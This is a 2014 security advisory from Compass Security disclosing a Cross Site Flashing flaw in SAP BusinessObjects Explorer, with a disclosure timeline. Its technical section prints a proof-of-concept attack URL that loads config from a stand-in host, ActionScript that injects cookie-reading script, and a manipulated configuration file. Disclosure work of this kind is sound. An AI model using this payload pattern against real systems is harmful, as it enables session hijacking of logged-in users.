SAP Security Note 1908647 - Cross Site Flashing in BusinessObjects Explorer

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#
# COMPASS SECURITY ADVISORY
# http://www.csnc.ch/en/downloads/advisories.html
#
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# Product:           BusinessObjects Explorer
# Vendor:            SAP AG
# Subject:           Cross Site Flashing
# Risk:              High
# Effect:            Remotely exploitable
# Author:            Stefan Horlacher
# Date:              2014-10-10
# SAP Security Note: 1908647 [0]
#
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Abstract:
-------------
BusinessObjects Explorer is vulnerable against Cross Site Flashing [1]
attacks, allowing an attacker to e.g. steal the victim's session.
This vulnerability requires the victim to click on a malicious link
prepared by the attacker.


Affected:
---------
Vulnerable:
SAP BusinessObjects Explorer version 14.0.5 (build 882)

Not tested:
Other versions of BusinessObjects Explorer


Technical Description:
----------------------
The Flash file suffers from a Cross Site Flashing vulnerability. It
is possible to directly load and display the
com_businessobjects_polestar_bootstrap.swf Flash file and specify a
configUrl. This requires the victim to be logged and the attacker needs
to know the /webres/ URL, which is known as soon as the attacker is in
possession of valid credentials. The configuration file specified in
the configURL parameter may reside on a foreign host. The
configuration file itself may contain URLs of further Flash files
residing on a foreign domain. If successful, the victim loads foreign
Flash files, which leads to Cross Site Flashing. The example below
loads a Flash file, which injects JavaScript into the DOM of the
originating domain.


        URL: /explorer/webres/[CUT BY COMPASS]/com_businessobjects_polestar_bootstrap.swf?configUrl=http://example.com/attacker_flash_config.xml


        Code of the injected Flash file referenced in http://example.com/attacker_flash_config.xml
                package
                {
                        import flash.display.Sprite;
                        import flash.events.Event;
                        import flash.external.ExternalInterface;

                        public class Main extends Sprite
                        {
                                public function Main():void
                                {
                                        ExternalInterface.call("document.write",
                                        "<script>alert(document.cookie)</script>");
                                }
                        }
                }

        Extract of the manipulated configuration file http://example.com/attacker_flash_config.xml:
                <p:configuration xmlns:p="http://www.businessobjects.com/2007/platform"
                        p:codebase="plugins/">
                <p:splashLocation p:id="com_businessobjects_polestar_splashscreen"
                        p:codebase="http://[CUT BY COMPASS].csnc.ch/[CUT BY COMPASS]/"/>
                <p:bundles>
                        <p:bundle p:id="com_businessobjects_polestar_admin" p:codebase="http://example.com/"/>
                        <p:bundle p:id="com_businessobjects_polestar_prompts" p:codebase="http://example.com/"/>
                        <p:bundle p:id="com_businessobjects_polestar_dataprovider_xl" p:codebase="http://example.com/"/>
                        <p:bundle p:id="com_businessobjects_polestar_portal_logoff" p:codebase="http://example.com/"/>
                [CUT BY COMPASS]


Timeline:
---------
2013-06-06:     Discovery by Stefan Horlacher
2013-06-26:     Initial vendor notification
2013-12-10:     Vendor releases patch and SAP Security Note 1908647
2014-10-10:     Disclosure of the advisory


References:
-----------
[0] https://service.sap.com/sap/support/notes/1908647
[1] https://www.owasp.org/index.php/Category:OWASP_Flash_Security_Project